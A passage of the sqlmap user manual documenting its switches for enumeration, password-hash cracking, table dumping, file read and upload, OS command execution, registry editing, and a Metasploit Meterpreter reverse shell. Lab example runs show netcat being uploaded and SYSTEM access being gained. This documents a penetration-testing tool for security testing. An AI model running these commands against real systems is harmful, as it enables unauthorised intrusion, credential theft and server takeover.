In some instances, like a SQL injection in an UPDATE statement, -injecting an OR-based payload can lead to an update of all the -entries of the table, which is certainly not what the attacker wants. For -this reason and others this switch has been introduced: the user has -control over which payloads get tested, the user can arbitrarily choose -to use also potentially dangerous ones. -As per the previous switch, the payloads used by sqlmap are specified in -the textual file xml/payloads.xml and you are free to edit and -add your owns.

- - -

Page comparison

- -

Switches: --string, --regexp and ---text-only

- -

By default the distinction of a True query by a False -one (rough concept behind boolean-based blind SQL injection vulnerabilities) -is done by comparing the injected requests page content with the original -not injected page content. -Not always this concept works because sometimes the page content changes at -each refresh even not injecting anything, for instance when the page has a -counter, a dynamic advertisement banner or any other part of the HTML which -is rendered dynamically and might change in time not only consequently to -user's input. -To bypass this limit, sqlmap tries hard to identify these snippets of the -response bodies and deal accordingly. Sometimes it may fail, that is why -the user can provide a string (--string switch) which is -always present on the not injected page and on all True -injected query pages, but that it is not on the False ones. As -an alternative to a static string, the user can provide a regular -expression (--regexp switch).

- -

Such data is easy for an user to retrieve, simply try to inject on the -affected parameter an invalid value and compare manually the original (not -injected) page content with the injected wrong page content. -This way the distinction will be based upon string presence or regular -expression match.

- -

In cases with lot of active content (e.g. scripts, embeds, etc.) in the -HTTP responses' body, you can filter pages (--text-only -switch) just for their textual content. This way, in a good number of -cases, you can automatically tune the detection engine.

- - -

5.7 Techniques -

- -

These options can be used to tweak testing of specific SQL injection -techniques.

- - -

SQL injection techniques to test for

- -

Switch: --technique

- -

This switch can be used to specify which SQL injection type to test for. -By default sqlmap tests for all types/techniques it supports.

- -

In certain situations you may want to test only for one or few specific -types of SQL injection thought and this is where this switch comes into -play.

- -

This switch requires an argument. Such argument is a string composed by -any combination of B, E, U, S and -T characters where each letter stands for a different technique:

-

-

-

- -

For instance, you can provide ES if you want to test for and -exploit error-based and stacked queries SQL injection types only. -The default value is BEUST.

- -

Note that the string must include stacked queries technique letter, -S, when you want to access the file system, takeover the -operating system or access Windows registry hives.

- - -

Seconds to delay the DBMS response for time-based blind SQL injection

- -

Switch: --time-sec

- -

It is possible to set the seconds to delay the response when testing for -time-based blind SQL injection, by providing the ---time-sec option followed by an integer. -By default delay is set to 5 seconds.

- - -

Number of columns in UNION query SQL injection

- -

Switch: --union-cols

- -

By default sqlmap tests for UNION query SQL injection technique using 1 to -10 columns. However, this range can be increased up to 50 columns by -providing an higher --level value. See the relevant -paragraph for details.

- -

You can manually tell sqlmap to test for this type of SQL injection with a -specific range of columns by providing the tool with the ---union-cols switch followed by a range of integers. For -instance, 12-16 means tests for UNION query SQL injection by -using 12 up to 16 columns.

- - -

Character to use to test for UNION query SQL injection

- -

Switch: --union-char

- -

By default sqlmap tests for UNION query SQL injection technique using -NULL character. However, by providing an higher ---level value sqlmap will performs tests also with a -random number because there are some corner cases where UNION query tests -with NULL fail whereas with a random integer they succeed.

- -

You can manually tell sqlmap to test for this type of SQL injection with a -specific character by providing the tool with the ---union-char switch followed by a string.

- - -

5.8 Fingerprint -

- -

Extensive database management system fingerprint

- -

Switches: -f or --fingerprint

- -

By default the web application's back-end database management system -fingerprint is handled automatically by sqlmap. -Just after the detection phase finishes and the user is eventually -prompted with a choice of which vulnerable parameter to use further on, -sqlmap fingerprints the back-end database management system and carries -on the injection by knowing which SQL syntax, dialect and queries to use -to proceed with the attack within the limits of the database architecture.

- -

If for any instance you want to perform an extensive database management -system fingerprint based on various techniques like specific SQL dialects -and inband error messages, you can provide the ---fingerprint switch. sqlmap will perform a lot more -requests and fingerprint the exact DBMS version and, where possible, -operating system, architecture and patch level.

- -

If you want the fingerprint to be even more accurate result, you can also -provide the -b or --banner switch.

- - -

5.9 Enumeration -

- -

These options can be used to enumerate the back-end database management -system information, structure and data contained in the tables. Moreover -you can run your own SQL statements.

- - -

Banner

- -

Switch: -b or --banner

- -

Most of the modern database management systems have a function and/or -an environment variable which returns the database management system -version and eventually details on its patch level, the underlying -system. Usually the function is version() and the environment -variable is @@version, but this vary depending on the target -DBMS.

- - -

Session user

- -

Switch: --current-user

- -

On the majority of modern DBMSes is possible to retrieve the database -management system's user which is effectively performing the query against -the back-end DBMS from the web application.

- - -

Current database

- -

Switch: --current-db

- -

It is possible to retrieve the database management system's database name -that the web application is connected to.

- - -

Detect whether or not the session user is a database administrator

- -

Switch: --is-dba

- -

It is possible to detect if the current database management system session -user is a database administrator, also known as DBA. -sqlmap will return True if it is, viceversa False.

- - -

List database management system users

- -

Switch: --users

- -

When the session user has read access to the system table containing -information about the DBMS users, it is possible to enumerate the list of -users.

- - -

List and crack database management system users password hashes

- -

Switches: --passwords and -U

- -

When the session user has read access to the system table containing -information about the DBMS users' passwords, it is possible to enumerate -the password hashes for each database management system user. -sqlmap will first enumerate the users, then the different password hashes -for each of them.

- -

Example against a PostgreSQL target:

-

-

-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1
-
-[...]
-back-end DBMS: PostgreSQL
-[hh:mm:38] [INFO] fetching database users password hashes
-do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
-[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
-what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt] 
-[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
-do you want to use common password suffixes? (slow!) [y/N] n
-[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
-[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
-[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
-database management system users password hashes:
-[*] postgres [1]:
-    password hash: md5d7d880f96044b72d0bba108ace96d1e4
-    clear-text password: testpass
-[*] testuser [1]:
-    password hash: md599e5ea7a6f7c3269995cba3927fd0093
-    clear-text password: testpass
-
-
-

- -

Not only sqlmap enumerated the DBMS users and their passwords, but it also -recognized the hash format to be PostgreSQL, asked the user whether or not -to test the hashes against a dictionary file and identified the clear-text -password for the postgres user, which is usually a DBA along the -other user, testuser, password.

- -

This feature has been implemented for all DBMS where it is possible to -enumerate users' password hashes, including Oracle and Microsoft SQL -Server pre and post 2005.

- -

You can also provide the -U option to specify the specific user -who you want to enumerate and eventually crack the password hash(es). -If you provide CU as username it will consider it as an alias for -current user and will retrieve the password hash(es) for this user.

- - -

List database management system users privileges

- -

Switches: --privileges and -U

- -

When the session user has read access to the system table containing -information about the DBMS users, it is possible to enumerate the -privileges for each database management system user. -By the privileges, sqlmap will also show you which are database -administrators.

- -

You can also provide the -U option to specify the user who you -want to enumerate the privileges.

- -

If you provide CU as username it will consider it as an alias for -current user and will enumerate the privileges for this user.

- -

On Microsoft SQL Server, this feature will display you whether or not each -user is a database administrator rather than the list of privileges for -all users.

- - -

List database management system users roles

- -

Switches: --roles and -U

- -

When the session user has read access to the system table containing -information about the DBMS users, it is possible to enumerate the -roles for each database management system user.

- -

You can also provide the -U option to specify the user who you -want to enumerate the privileges.

- -

If you provide CU as username it will consider it as an alias for -current user and will enumerate the privileges for this user.

- -

This feature is only available when the DBMS is Oracle.

- - -

List database management system's databases

- -

Switch: --dbs

- -

When the session user has read access to the system table containing -information about available databases, it is possible to enumerate the -list of databases.

- - -

Enumerate database's tables

- -

Switches: --tables, -D and ---exclude-sysdbs

- -

When the session user has read access to the system table containing -information about databases' tables, it is possible to enumerate -the list of tables for a specific database management system's databases.

- -

If you do not provide a specific database with switch -D, sqlmap -will enumerate the tables for all DBMS databases.

- -

You can also provide the --exclude-sysdbs switch to -exclude all system databases.

- -

Note that on Oracle you have to provide the TABLESPACE_NAME -instead of the database name.

- - -

Enumerate database table columns

- -

Switches: --columns, -C, -T and -D

- -

When the session user has read access to the system table containing -information about database's tables, it is possible to enumerate the list -of columns for a specific database table. -sqlmap also enumerates the data-type for each column.

- -

This feature depends on the option -T to specify the table name -and optionally on -D to specify the database name. When the -database name is not specified, the current database name is used. -You can also provide the -C option to specify the table columns -name like the one you provided to be enumerated.

- -

Example against a SQLite target:

-

-

-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns \
-  -D testdb -T users -C name
-[...]
-Database: SQLite_masterdb
-Table: users
-[3 columns]
-+---------+---------+
-| Column  | Type    |
-+---------+---------+
-| id      | INTEGER |
-| name    | TEXT    |
-| surname | TEXT    |
-+---------+---------+
-
-
-

- -

Note that on PostgreSQL you have to provide public or the -name of a system database. That's because it is not possible to enumerate -other databases tables, only the tables under the schema that the web -application's user is connected to, which is always aliased by -public.

- - -

Enumerate database management system schema

- -

Switches: --schema

- -

TODO

- - -

Retrieve number of entries for table(s)

- -

Switches: --count

- -

TODO

- - -

Dump database table entries

- -

Switches: --dump, -C, -T, -D, ---start, --stop, --first -and --last

- -

When the session user has read access to a specific database's table it is -possible to dump the table entries.

- -

This functionality depends on switch -T to specify the table -name and optionally on switch -D to specify the database name. -If the table name is provided, but the database name is not, the current -database name is used.

- -

Example against a Firebird target:

-

-

-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T users
-[...]
-Database: Firebird_masterdb
-Table: USERS
-[4 entries]
-+----+--------+------------+
-| ID | NAME   | SURNAME    |
-+----+--------+------------+
-| 1  | luther | blisset    |
-| 2  | fluffy | bunny      |
-| 3  | wu     | ming       |
-| 4  | NULL   | nameisnull |
-+----+--------+------------+
-
-
-

- -

This switch can also be used to dump all tables' entries of a provided -database. You simply have to provide sqlmap with the --dump -switch along with only the -D switch, no -T and no --C.

- -

You can also provide a comma-separated list of the specific columns to -dump with the -C switch.

- -

sqlmap also generates for each table dumped the entries in a CSV format -textual file. -You can see the absolute path where sqlmap creates the file by providing a -verbosity level greater than or equal to 1.

- -

If you want to dump only a range of entries, then you can provide switches ---start and/or --stop to respectively -start to dump from a certain entry and stop the dump at a certain entry. -For instance, if you want to dump only the first entry, provide ---stop 1 in your command line. Vice versa if, for -instance, you want to dump only the second and third entry, provide ---start 1 --stop 3.

- -

It is also possible to specify which single character or range of characters -to dump with switches --first and --last. -For instance, if you want to dump columns' entries from the third to the -fifth character, provide --first 3 --last -5. -This feature only applies to the blind SQL injection techniques because for -error-based and UNION query SQL injection techniques the number of requests -is exactly the same, regardless of the length of the column's entry output -to dump.

- -

As you may have noticed by now, sqlmap is flexible: you can leave -it to automatically dump the whole database table or you can be very -precise in which characters to dump, from which columns and which range of -entries.

- - -

Dump all databases tables entries

- -

Switches: --dump-all and --exclude-sysdbs

- -

It is possible to dump all databases tables entries at once that the -session user has read access on.

- -

You can also provide the --exclude-sysdbs switch to -exclude all system databases. In that case sqlmap will only dump entries -of users' databases tables.

- -

Note that on Microsoft SQL Server the master database is not -considered a system database because some database administrators use it -as a users' database.

- - -

Search for columns, tables or databases

- -

Switches: --search, -C, -T, -D

- -

This switch allows you to search for specific database names, specific -tables across all databases or specific columns across all databases' -tables.

- -

This is useful, for instance, to identify tables containing custom -application credentials where relevant columns' names contain string like -name and pass.

- -

The switch --search needs to be used in conjunction with -one of the following support switches:

-

-

-

- - -

Run custom SQL statement

- -

Switches: --sql-query and --sql-shell

- -

The SQL query and the SQL shell features allow to run arbitrary SQL -statements on the database management system. -sqlmap automatically dissects the provided statement, determines which -technique is appropriate to use to inject it and how to pack the SQL -payload accordingly.

- -

If the query is a SELECT statement, sqlmap will retrieve its -output. -Otherwise it will execute the query through the stacked query SQL -injection technique if the web application supports multiple statements on -the back-end database management system. -Beware that some web application technologies do not support stacked -queries on specific database management systems. For instance, PHP does -not support stacked queries when the back-end DBMS is MySQL, but it does -support when the back-end DBMS is PostgreSQL.

- -

Examples against a Microsoft SQL Server 2000 target:

-

-

-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query \
-  "SELECT 'foo'" -v 1
-
-[...]
-[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
-[hh:mm:14] [INFO] retrieved: foo
-SELECT 'foo':    'foo'
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query \
-  "SELECT 'foo', 'bar'" -v 2
-
-[...]
-[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
-[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into 
-distinct queries to be able to retrieve the output even if we are going blind
-[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), 
-(CHAR(32)))
-[hh:mm:50] [INFO] retrieved: foo
-[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
-[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)), 
-(CHAR(32)))
-[hh:mm:50] [INFO] retrieved: bar
-[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
-SELECT 'foo', 'bar':    'foo, bar'
-
-
-

- -

As you can see, sqlmap splits the provided query into two different -SELECT statements then retrieves the output for each separate -query.

- -

If the provided query is a SELECT statement and contains a -FROM clause, sqlmap will ask you if such statement can return -multiple entries. In that case the tool knows how to unpack the query -correctly to count the number of possible entries and retrieve its output, -entry per entry.

- -

The SQL shell option allows you to run your own SQL statement -interactively, like a SQL console connected to the database management -system. -This feature provides TAB completion and history support too.

- - -

5.10 Brute force -

- -

These options can be used to run brute force checks.

- -

Brute force tables names

- -

Switches: --common-tables

- -

There are cases where --tables switch can not be used to -retrieve the databases' table names. These cases usually fit into one -of the following categories:

-

-

-

- -

If any of the first two cases apply and you provided the ---tables switch, sqlmap will prompt you with a question -to fall back to this technique. -Either of these cases apply to your situation, sqlmap can possibly still -identify some existing tables if you provide it with the ---common-tables switch. sqlmap will perform a -brute-force attack in order to detect the existence of common tables -across the DBMS.

- -

The list of common table names is txt/common-tables.txt and you -can edit it as you wish.

- -

Example against a MySQL 4.1 target:

-

-

-
-$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" \
-  --common-tables -D testdb --banner
-
-[...]
-[hh:mm:39] [INFO] testing MySQL
-[hh:mm:39] [INFO] confirming MySQL
-[hh:mm:40] [INFO] the back-end DBMS is MySQL
-[hh:mm:40] [INFO] fetching banner
-web server operating system: Windows
-web application technology: PHP 5.3.1, Apache 2.2.14
-back-end DBMS operating system: Windows
-back-end DBMS: MySQL < 5.0.0
-banner:    '4.1.21-community-nt'
-
-[hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/txt/common-tables.txt'
-[hh:mm:40] [INFO] adding words used on web page to the check list
-please enter number of threads? [Enter for 1 (current)] 8
-[hh:mm:43] [INFO] retrieved: users
-
-Database: testdb
-[1 table]
-+-------+
-| users |
-+-------+
-
-
-

- - -

Brute force columns names

- -

Switches: --common-columns

- -

As per tables, there are cases where --columns switch -can not be used to retrieve the databases' tables' column names. These -cases usually fit into one of the following categories:

-

-

-

- -

If any of the first two cases apply and you provided the ---columns switch, sqlmap will prompt you with a question -to fall back to this technique. -Either of these cases apply to your situation, sqlmap can possibly still -identify some existing tables if you provide it with the ---common-columns switch. sqlmap will perform a -brute-force attack in order to detect the existence of common columns -across the DBMS.

- -

The list of common table names is txt/common-columns.txt and you -can edit it as you wish.

- - -

5.11 User-defined function injection -

- -

These options can be used to create custom user-defined functions.

- -

Inject custom user-defined functions (UDF)

- -

Switches: --udf-inject and --shared-lib

- -

You can inject your own user-defined functions (UDFs) by compiling a -MySQL or PostgreSQL shared library, DLL for Windows and shared object for -Linux/Unix, then provide sqlmap with the path where the shared library -is stored locally on your machine. sqlmap will then ask you some -questions, upload the shared library on the database server file system, -create the user-defined function(s) from it and, depending on your -options, execute them. When you are finished using the injected UDFs, -sqlmap can also remove them from the database for you.

- -

These techniques are detailed in the white paper -Advanced SQL injection to operating system full control.

- -

Use switch --udf-inject and follow the instructions.

- -

If you want, you can specify the shared library local file system path -via command line too by using --shared-lib option. Vice -versa sqlmap will ask you for the path at runtime.

- -

This feature is available only when the database management system is -MySQL or PostgreSQL.

- - -

5.12 File system access -

- -

Read a file from the database server's file system

- -

Switch: --file-read

- -

It is possible to retrieve the content of files from the underlying file -system when the back-end database management system is either MySQL, -PostgreSQL or Microsoft SQL Server, and the session user has the needed -privileges to abuse database specific functionalities and architectural -weaknesses. -The file specified can be either a textual or a binary file. sqlmap will -handle it properly.

- -

These techniques are detailed in the white paper -Advanced SQL injection to operating system full control.

- -

Example against a Microsoft SQL Server 2005 target to retrieve a binary -file:

-

-

-
-$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" \
-  --file-read "C:/example.exe" -v 1
-
-[...]
-[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
-web server operating system: Windows 2000
-web application technology: ASP.NET, Microsoft IIS 6.0, ASP
-back-end DBMS: Microsoft SQL Server 2005
-
-[hh:mm:50] [INFO] fetching file: 'C:/example.exe'
-[hh:mm:50] [INFO] the SQL query provided returns 3 entries
-C:/example.exe file saved to:    '/software/sqlmap/output/192.168.136.129/files/C__example.exe'
-[...]
-
-$ ls -l output/192.168.136.129/files/C__example.exe 
--rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C__example.exe
-
-$ file output/192.168.136.129/files/C__example.exe 
-output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel
-80386 32-bit
-
-
-

- - -

Upload a file to the database server's file system

- -

Switches: --file-write and --file-dest

- -

It is possible to upload a local file to the database server's file system -when the back-end database management system is either MySQL, PostgreSQL -or Microsoft SQL Server, and the session user has the needed privileges to -abuse database specific functionalities and architectural weaknesses. -The file specified can be either a textual or a binary file. sqlmap will -handle it properly.

- -

These techniques are detailed in the white paper -Advanced SQL injection to operating system full control.

- -

Example against a MySQL target to upload a binary UPX-compressed file:

-

-

-
-$ file /software/nc.exe.packed 
-/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit
-
-$ ls -l /software/nc.exe.packed
--rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed
-
-$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write \
-  "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1
-
-[...]
-[hh:mm:29] [INFO] the back-end DBMS is MySQL
-web server operating system: Windows 2003 or 2008
-web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
-back-end DBMS: MySQL >= 5.0.0
-
-[...]
-do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been successfully 
-written on the back-end DBMS file system? [Y/n] y
-[hh:mm:52] [INFO] retrieved: 31744
-[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes, 
-same size as the local file '/software/nc.exe.packed'
-
-
-

- - -

5.13 Operating system takeover -

- -

Run arbitrary operating system command

- -

Switches: --os-cmd and --os-shell

- -

It is possible to run arbitrary commands on the database server's -underlying operating system when the back-end database management -system is either MySQL, PostgreSQL or Microsoft SQL Server, and the -session user has the needed privileges to abuse database specific -functionalities and architectural weaknesses.

- -

On MySQL and PostgreSQL, sqlmap uploads (via the file upload functionality -explained above) a shared library (binary file) containing two -user-defined functions, sys_exec() and sys_eval(), then -it creates these two functions on the database and calls one of them to -execute the specified command, depending on user's choice to display the -standard output or not. -On Microsoft SQL Server, sqlmap abuses the xp_cmdshell stored -procedure: if it is disabled (by default on Microsoft SQL Server >= 2005), -sqlmap re-enables it; if it does not exist, sqlmap creates it from -scratch.

- -

When the user requests the standard output, sqlmap uses one of the -enumeration SQL injection techniques (blind, inband or error-based) to -retrieve it. Vice versa, if the standard output is not required, stacked -query SQL injection technique is used to execute the command.

- -

These techniques are detailed in the white paper -Advanced SQL injection to operating system full control.

- -

Example against a PostgreSQL target:

-

-

-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" \
-  --os-cmd id -v 1
-
-[...]
-web application technology: PHP 5.2.6, Apache 2.2.9
-back-end DBMS: PostgreSQL
-[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
-[hh:mm:12] [INFO] the back-end DBMS operating system is Linux
-[hh:mm:12] [INFO] testing if current user is DBA
-[hh:mm:12] [INFO] detecting back-end DBMS version from its banner
-[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist
-[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist
-[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file
-[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
-do you want to retrieve the command standard output? [Y/n/a] y
-command standard output:    'uid=104(postgres) gid=106(postgres) groups=106(postgres)'
-
-[hh:mm:19] [INFO] cleaning up the database management system
-do you want to remove UDF 'sys_eval'? [Y/n] y
-do you want to remove UDF 'sys_exec'? [Y/n] y
-[hh:mm:23] [INFO] database management system cleanup finished
-[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can 
-only be deleted manually
-
-
-

- -

It is also possible to simulate a real shell where you can type as many -arbitrary commands as you wish. The option is --os-shell -and has the same TAB completion and history functionalities that ---sql-shell has.

- -

Where stacked queries has not been identified on the web application -(e.g. PHP or ASP with back-end database management system being MySQL) and -the DBMS is MySQL, it is still possible to abuse the SELECT -clause's INTO OUTFILE to create a web backdoor in a writable -folder within the web server document root and still get command -execution assuming the back-end DBMS and the web server are hosted on the -same server. -sqlmap supports this technique and allows the user to provide a -comma-separated list of possible document root sub-folders where try to -upload the web file stager and the subsequent web backdoor. Also, sqlmap -has its own tested web file stagers and backdoors for the following -languages:

-

-

-

- - -

Out-of-band stateful connection: Meterpreter & friends

- -

Switches: --os-pwn, --os-smbrelay, ---os-bof, --priv-esc, ---msf-path and --tmp-path

- -

It is possible to establish an out-of-band stateful TCP connection -between the attacker machine and the database server underlying -operating system when the back-end database management system is either -MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the -needed privileges to abuse database specific functionalities and -architectural weaknesses. -This channel can be an interactive command prompt, a Meterpreter session -or a graphical user interface (VNC) session as per user's choice.

- -

sqlmap relies on Metasploit to create the shellcode and implements four -different techniques to execute it on the database server. These -techniques are: -

-

- -

These techniques are detailed in the white paper -Advanced SQL injection to operating system full control and in the -slide deck -Expanding the control over the operating system from the database.

- -

Example against a MySQL target:

-

-

-
-$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn \
-  --msf-path /software/metasploit
-
-[...]
-[hh:mm:31] [INFO] the back-end DBMS is MySQL
-web server operating system: Windows 2003
-web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
-back-end DBMS: MySQL 5.0
-[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
-[hh:mm:31] [INFO] the back-end DBMS operating system is Windows
-how do you want to establish the tunnel?
-[1] TCP: Metasploit Framework (default)
-[2] ICMP: icmpsh - ICMP tunneling
-> 
-[hh:mm:32] [INFO] testing if current user is DBA
-[hh:mm:32] [INFO] fetching current user
-what is the back-end database management system architecture?
-[1] 32-bit (default)
-[2] 64-bit
-> 
-[hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist
-[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist
-[hh:mm:33] [INFO] detecting back-end DBMS version from its banner
-[hh:mm:33] [INFO] retrieving MySQL base directory absolute path
-[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file
-[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file
-how do you want to execute the Metasploit shellcode on the back-end database underlying 
-operating system?
-[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
-[2] Stand-alone payload stager (file system way)
-> 
-[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode 
-which connection type do you want to use?
-[1] Reverse TCP: Connect back from the database host to this machine (default)
-[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports 
-between the specified and 65535
-[3] Bind TCP: Listen on the database host for a connection
-> 
-which is the local address? [192.168.136.1] 
-which local port number do you want to use? [60641] 
-which payload do you want to use?
-[1] Meterpreter (default)
-[2] Shell
-[3] VNC
-> 
-[hh:mm:40] [INFO] creation in progress ... done
-[hh:mm:43] [INFO] running Metasploit Framework command line interface locally, please wait..
-
-                                  _
-                                 | |      o
- _  _  _    _ _|_  __,   ,    _  | |  __    _|_
-/ |/ |/ |  |/  |  /  |  / \_|/ \_|/  /  \_|  |
-  |  |  |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
-                           /|
-                           \|
-
-
-       =[ metasploit v3.7.0-dev [core:3.7 api:1.0]
-+ -- --=[ 674 exploits - 351 auxiliary
-+ -- --=[ 217 payloads - 27 encoders - 8 nops
-       =[ svn r12272 updated 4 days ago (2011.04.07)
-
-PAYLOAD => windows/meterpreter/reverse_tcp
-EXITFUNC => thread
-LPORT => 60641
-LHOST => 192.168.136.1
-[*] Started reverse handler on 192.168.136.1:60641 
-[*] Starting the payload handler...
-[hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_bineval', 
-please wait..
-[*] Sending stage (749056 bytes) to 192.168.136.129
-[*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) at Mon Apr 11 
-hh:mm:52 +0100 2011
-
-meterpreter > Loading extension espia...success.
-meterpreter > Loading extension incognito...success.
-meterpreter > [-] The 'priv' extension has already been loaded.
-meterpreter > Loading extension sniffer...success.
-meterpreter > System Language : en_US
-OS              : Windows .NET Server (Build 3790, Service Pack 2).
-Computer        : W2K3R2
-Architecture    : x86
-Meterpreter     : x86/win32
-meterpreter > Server username: NT AUTHORITY\SYSTEM
-meterpreter > ipconfig
-
-MS TCP Loopback interface
-Hardware MAC: 00:00:00:00:00:00
-IP Address  : 127.0.0.1
-Netmask     : 255.0.0.0
-
-
-
-Intel(R) PRO/1000 MT Network Connection
-Hardware MAC: 00:0c:29:fc:79:39
-IP Address  : 192.168.136.129
-Netmask     : 255.255.255.0
-
-
-meterpreter > exit
-
-[*] Meterpreter session 1 closed.  Reason: User exit
-
-
-

- -

By default MySQL on Windows runs as SYSTEM, however PostgreSQL -runs as a low-privileged user postgres on both Windows and Linux. -Microsoft SQL Server 2000 by default runs as SYSTEM, whereas -Microsoft SQL Server 2005 and 2008 run most of the times as NETWORK -SERVICE and sometimes as LOCAL SERVICE.

- -

It is possible to provide sqlmap with the --priv-esc -switch to perform a database process' user privilege escalation -via Metasploit's getsystem command which include, among others, -the -kitrap0d technique ( -MS10-015).

- - -

5.14 Windows registry access -

- -

It is possible to access Windows registry when the back-end database -management system is either MySQL, PostgreSQL or Microsoft SQL Server, -and when the web application supports stacked queries. Also, session user -has to have the needed privileges to access it.

- -

Read a Windows registry key value

- -

Switch: --reg-read

- -

Using this option you can read registry key values.

- -

Write a Windows registry key value

- -

Switch: --reg-add

- -

Using this option you can write registry key values.

- -

Delete a Windows registry key

- -

Switch: --reg-del

- -

Using this option you can delete registry keys.

- -

Auxiliary registry switches

- -

Switches: --reg-key, --reg-value, ---reg-data and --reg-type

- -

These switches can be used to provide data needed for proper running of -options --reg-read, --reg-add and ---reg-del. So, instead of providing registry key -information when asked, you can use them at command prompt as program -arguments.

- -

With --reg-key option you specify used Windows registry -key path, with --reg-value value item name inside -provided key, with --reg-data value data, while with ---reg-type option you specify type of the value item.

- -

A sample command line for adding a registry key hive follows:

-

-

-
-$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add \ 
-  --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1
-
-
-

- - -

5.15 General -

- -

Log HTTP(s) traffic to a textual file

- -

Switch: -t

- -

This switch requires an argument that specified the textual file to write -all HTTP(s) traffic generated by sqlmap - HTTP(s) requests and HTTP(s) -responses.

- -

This is useful primarily for debug purposes.

- - -

Session file: save and resume data retrieved

- -

Switch: -s

- -

By default sqlmap logs all queries and their output into a textual file -called session file, regardless of the technique used to extract -the data. -This is useful if you stop the injection for any reason and rerun it -afterwards: sqlmap will parse the session file and resume enumerated data -from it, then carry on extracting data from the exact point where it left -before you stopped the tool.

- -

The default session file is output/TARGET_URL/session, but you -can specify a different file path with -s switch.

- -

The session file has the following structure:

-

-

-
-[hh:mm:ss MM/DD/YY]
-[Target URL][Injection point][Parameters][Query or information name][Query output or value]
-
-
-

- -

A more user friendly textual file where all data retrieved is saved, is -the log file, output/TARGET_URL/log. This file can be -useful to see all information enumerated to the end.

- - -

Flush session file

- -

Switch: --flush-session

- -

As you are already familiar with the concept of a session file from the -description above, it is good to know that you can flush the content of -that file using option --flush-session. -This way you can avoid the caching mechanisms implemented by default in -sqlmap. Other possible way is to manually remove the session file(s).

- - -

Ignores query results stored in session file

- -

Switch: --fresh-queries

- -

As you are already familiar with the concept of a session file from the -description above, it is good to know that you can ignore the content of -that file using option --fresh-queries. -This way you can keep the session file untouched and for a selected run, -avoid the resuming/restoring of queries output.

- - -

Estimated time of arrival

- -

Switch: --eta

- -

It is possible to calculate and show in real time the estimated time of -arrival to retrieve each query output. This is shown when the technique -used to retrieve the output is any of the blind SQL injection types.

- -

Example against an Oracle target affected only by boolean-based blind SQL -injection:

-

-

-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1" -b --eta
-
-[...]
-[hh:mm:01] [INFO] the back-end DBMS is Oracle
-[hh:mm:01] [INFO] fetching banner
-[hh:mm:01] [INFO] retrieving the length of query output
-[hh:mm:01] [INFO] retrieved: 64
-17% [========>                                          ] 11/64  ETA 00:19
-
-
-

- -

Then:

-

-

-
-100% [===================================================] 64/64               
